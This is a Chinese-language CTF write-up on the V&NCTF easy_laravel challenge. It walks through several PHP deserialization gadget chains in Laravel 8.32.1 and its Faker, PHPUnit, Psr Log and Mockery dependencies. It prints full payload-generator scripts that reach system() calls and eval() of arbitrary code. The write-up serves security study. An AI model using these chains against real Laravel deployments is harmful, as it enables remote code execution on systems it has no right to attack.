前几天刚搞完 V&NCTF ,里边有一道 easy_laravel 题目引起了我的注意(指挖了一下午的序列化链,结果路由不正确无法利用CVE反序列化,呜呜呜,气死我耶),于是就将整个有趣(心酸)的过程写出来分享一下吧。
先配好 8.32.1 版本的 laravel ,确保当前版本正确。
然后在 public/index.php
手动新建一个可控的序列化点:
由于这里是另挖掘,所以我们就尽可能的避免 easy_laravel 题目WP所给的链条吧。
先从最简单的单参数任意函数执行开始吧。
首先,来到入口点,不妨找一个需要有 __destruct
方法的类,且该方法拥有形如 $this->[可控]->xxx()
的语句,这样就能够方便的触发 __call
方法了。比如说 ImportConfigurator
类就是一个不错的开始。
下一步即是找一个较为符合的拥有 __call
方法的类了,比如这里可以选择 ValidGenerator
类,因为这个类的 __call
存在两个较为明显的 call_user_func/call_user_func_array
函数。
现在需要做的即是想尽办法让这两个函数其中一个的参数 可控 就行了。可以先分析第一个 call_user_func_array
函数,其中 $name 是不可控的,且值为 addCollection
,虽说 $this->generator 和 $arguments 是可控的,但要直接通过这两个可控的参数进行 rce 基本是不可能的。
那么再看一下 DefaultGenerator
类的 __call
方法。显然当这个方法被调用时,无论传入是啥 方法 或是 参数 都可以得到一个 [可控] 的任意值。
这时不妨回过头来看 ValidGenerator
类的 __call
方法中第二个 call_user_func
函数。在这个函数中 $this->validator 是可控的了,然后 $res 实际上是来自第一个 call_user_func_array
的返回值。那么假设现在咱们用第一个 call_user_func_array 方法去调用 DefaultGenerator
类的 __call
方法,既可以返回一个 [可控] 的值,也就是说 $res 现在也是可控的了。
综上,咱们现在实际上就可以得到形如 call_user_func([可控],[可控]) 的形式了。
此时需要构造的内容大致如下:
ImportConfigurator->parent
= ValidGenerator类
ValidGenerator->maxRetries
= 1
ValidGenerator->generator
= DefaultGenerator类
DefaultGenerator->default
= [任意可控函数参数]
ValidGenerator->validator
= [任意可控函数名称]
然后是简单的调用图示:
<?php namespace Symfony\Component\Routing\Loader\Configurator{ class ImportConfigurator{ private $parent; function __construct($c1){ $this->parent = $c1; } } } namespace Faker{ class DefaultGenerator{ protected $default; function __construct($param){ $this->default = $param; } } class ValidGenerator{ protected $generator; protected $validator; protected $maxRetries; function __construct($func,$param){ $this->generator = new DefaultGenerator($param); $this->maxRetries = 1; $this->validator = $func; } } } namespace{ echo base64_encode(serialize(new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(new Faker\ValidGenerator('system','dir')))); }
执行效果:
当然,单参数的任意函数执行显然是还不满足的。在 php7 中如若可以达成 2 个参数的任意函数执行,就可以通过调用 create_function
来进行形如 eval 的 rce 了。这里就朝着 2 个参数的任意函数执行进发。
首先还是利用上边的 call_user_func([可控],[可控]) 这条链作为基础,咱们继续往下看。那么,先来到 TestLogger
类,在这个类的 hashRecordThatPasses
方法中,存在一个可以传 2 个参数的 call_user_func
方法,不过这个方法需要传 2 个参数。
不过问题不大,可以再看一下还是这个类的 __call
方法。由于这里的 $agrs 变量存在形如 array_push
的操作,不妨利用这个方法作为跳板满足 2 个参数的要求调用回 hashRecordThatPasses
方法。
那么也就是说 $genericMehotd 必须被构造成 hashRecordThatPasses ,其次传入的 $agrs 参数必须是 callable 。这里的 callable 可以指的是一个 函数 也可以是一个 可调用的函数名称字符串 ,但在序列化时是不能够保存 函数 的,所以 $agrs 的内容只能是一个 可调用的函数名称字符串 。
看一下关键的代码吧,
if (preg_match('/(.*)(Debug|Info|Notice|Warning|Error|Critical|Alert|Emergency)(.*)/', $method, $matches) > 0) { $genericMethod = $matches[1] . ('Records' !== $matches[3] ? 'Record' : '') . $matches[3]; $level = strtolower($matches[2]); if (method_exists($this, $genericMethod)) { $args[] = $level; return call_user_func_array([$this, $genericMethod], $args); } }
简单来说,要想让 $genericMethod 变量的值为 hashRecordThatPasses ,得让 $method 的值为 hashInfoThatPasses 即可。
首先,根据 preg_match
函数的正则,必须满足 [任意字符](Debug|Info|......)[任意字符]
才能够满足这个条件。此时若传入 hashInfoThatPasses 时,$mathes 变量的值为:
在 $genericMethod = $matches[1] . ('Records' !== $matches[3] ? 'Record' : '') . $matches[3];
这一条语句,由于在$matches[1] 中的 has 字符串中找不到 Record ,也就会加上,成为 hasRecord ,然后再和 $matches[3] 中的 ThatPasses 字符串做拼接,最后就构成了 hashRecordThatPasses 。
此时后边的 call_user_func_array([$this,$genericMehotd],$args)
就相当于 $this->hashRecordThatPasses([可控内容],'info')
。
让我们把关注点拉回 hashRecordThatPasses
方法中。
这里会对 $this->recordsByLevel[$level] 进行遍历,其中 键名 会作为第 3 个参数,而 键值 作为第 2 个参数,而 $level 实际上也就是传入的 info 字符串。同时 predicate 这个也就是上边可控的内容,不过必须得是一个 callable 型,这里直接传 可调用的函数名称字符串 即可。
还有一点是,由于第 3 个参数来自 键名 ,所以不能是一个 数组 也就不能够构造形如 call_user_func
+ call_user_func_array
的套娃了。
所以现在大致可以得到了一个形如 call_user_func([可控],[可控],[可控]) 的形式了。
此时需要构造的内容大致如下:
ImportConfigurator->parent
= ValidGenerator类
ValidGenerator->maxRetries
= 1
ValidGenerator->generator
= DefaultGenerator类
DefaultGenerator->default
= [TestLogger类,'hashInfoThatPasses']
ValidGenerator->validator
= [任意可控函数名称]
TestLogger->recordsByLevel['info']
= ['[可控参数]'=>'[任意可控参数]']
<?php namespace Symfony\Component\Routing\Loader\Configurator{ class ImportConfigurator{ private $parent; function __construct($c1){ $this->parent = $c1; } } } namespace Faker{ class DefaultGenerator{ protected $default='call_user_func'; } class ValidGenerator{ protected $generator; protected $validator; protected $maxRetries; function __construct($c2){ $this->generator = new DefaultGenerator(); $this->maxRetries = 1; $this->validator = [$c2,'hasInfoThatPasses']; } } } namespace Psr\log{ abstract class AbstractLogger{} } namespace Psr\Log\Test{ use Psr\Log\AbstractLogger; class TestLogger extends AbstractLogger{ public $recordsByLevel = ['info'=>['dir'=>'system']]; } } namespace{ echo base64_encode(serialize(new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(new Faker\ValidGenerator(new Psr\Log\Test\TestLogger)))); }
执行效果:
这里原本思路是通过调用 create_function
函数进行 rce 的,然而会出现 弃用 的报错。
既然使用 create_function
会报错,那不如使用别的和 eval 有类似效果的函数,比如 mbereg_replace
试试。那就需要一个 完全可控 的 call_user_func_array
才行了。
那么还是利用上边的 call_user_func([可控],[可控]) 链作为基础,继续看吧。这里来到 ReturnCallback
类的 invoke
方法,这里存在一个 call_user_func_array
函数,其中 $this->callback 是 可控 的了。
再看 $invocation->getParameters()
这个方法返回的内容,显然 $this->parameters 是咱们可控的了,也就是说返回值是可控的。
这条链确实是非常简单的,可以简单列一下需要构造的大致内容:
ImportConfigurator->parent
= ValidGenerator类
ValidGenerator->maxRetries
= 1
ValidGenerator->generator
= DefaultGenerator类
DefaultGenerator->default
= [ReturnCallback类,'invoke']
ReturnCallback->callback
= [任意可控的函数名称]
ValidGenerator->validator
= Invocation类
Invocation->parameters
= [任意可控的函数参数]
现在咱们就可以得到 call_user_func_array([完全可控]) 的形式了。
<?php namespace Symfony\Component\Routing\Loader\Configurator{ class ImportConfigurator{ private $parent; function __construct($c1){ $this->parent = $c1; } } } namespace Faker{ class DefaultGenerator{ protected $default; function __construct($c3){ $this->default = $c3; } } class ValidGenerator{ protected $generator; protected $validator; protected $maxRetries; function __construct($c2,$c3){ $this->generator = new DefaultGenerator($c3); $this->maxRetries = 1; $this->validator = [$c2,'invoke']; } } } namespace PHPUnit\Framework\MockObject{ final class Invocation{ private $parameters = ['dir']; } } namespace PHPUnit\Framework\MockObject\Stub{ use PHPUnit\Framework\MockObject\Invocation; final class ReturnCallback{ private $callback = 'system'; } } namespace{ echo base64_encode(serialize(new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(new Faker\ValidGenerator(new PHPUnit\Framework\MockObject\Stub\ReturnCallback,new PHPUnit\Framework\MockObject\Invocation)))); }
执行效果:
只是如果调用 mbereg_replace
,会显示已弃用的错误。
看起来是没辙了,只能找一个 eval 的玩意了。
OK,这里还是利用上边的 call_user_func([可控],[可控]) 的链条作为基础。这里选择 EvalLoader
类的 load
方法,主要是这个方法里边有 eval 的调用。那么现在我们来看一下如何达成 eval([完全可控]) 吧。
这里主要还是 2 点,首先让第 1 个条件不满足,即是 $definition->getClassName()
返回的值是一个不存在的类即可。其中 $definition 得是 MockDefinition
类,然后咱们可以简单跟进 $definition
类的 getClassName
这个方法看看。
这里在 getClassName
方法中会执行 return $this->config->getName()
语句,其中 $this->config 的值显然为 MockConfiguration
类,即是调用了 MockConfiguration
类的 getName
方法。
那么再跟进 MockConfiguration
类的 getName
方法,这里简单的返回了 $this->name ,而这个 $this->name 实际上是可控的。
也就是说上边的 $definition->getClassName()
得到的值是 可控 的了,咱们不妨将其构造成任意一个不存的类名即可(比如Morouu)。
之后再看第 2 点,也就是 eval("?>".$definition->getCode())
这段语句,话不多说,先跟进 MockDefinition
类的 getCode
方法吧。
这里只是简单的返回了 $this->code 的值,而 $this->code 确实是 可控 的。也就是说现在这条链成功到达了对 eval 的调用。那么简单的构造一下构造的大致内容吧:
ImportConfigurator->parent
= ValidGenerator类
ValidGenerator->maxRetries
= 1
ValidGenerator->generator
= DefaultGenerator类
DefaultGenerator->default
= [EvalLoader类,'load']
MockDefinition->config
= MockConfiguration类
MockConfiguration->name
= '[任意不存在的类名称]'
MockDefinition->code
= <?php [任意代码] ?>
此时就可以得到 eval([完全可控]) 的形式了。
<?php namespace Symfony\Component\Routing\Loader\Configurator{ class ImportConfigurator{ private $parent; function __construct($c1){ $this->parent = $c1; } } } namespace Faker{ class DefaultGenerator{ protected $default; function __construct($c3){ $this->default = $c3; } } class ValidGenerator{ protected $generator; protected $validator; protected $maxRetries; function __construct($c2,$c3){ $this->generator = new DefaultGenerator($c3); $this->maxRetries = 1; $this->validator = [$c2,'load']; } } } namespace Mockery\Generator{ class MockConfiguration{ protected $name = 'Morouu'; } class MockDefinition{ protected $config; protected $code; function __construct($code){ $this->config = new MockConfiguration; $this->code = $code; } } } namespace Mockery\Loader{ use Mockery\Generator\MockDefinition; class EvalLoader{} } namespace{ echo base64_encode(serialize(new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(new Faker\ValidGenerator(new Mockery\Loader\EvalLoader,new Mockery\Generator\MockDefinition('?><?php phpinfo();exit; ?>'))))); }
执行效果: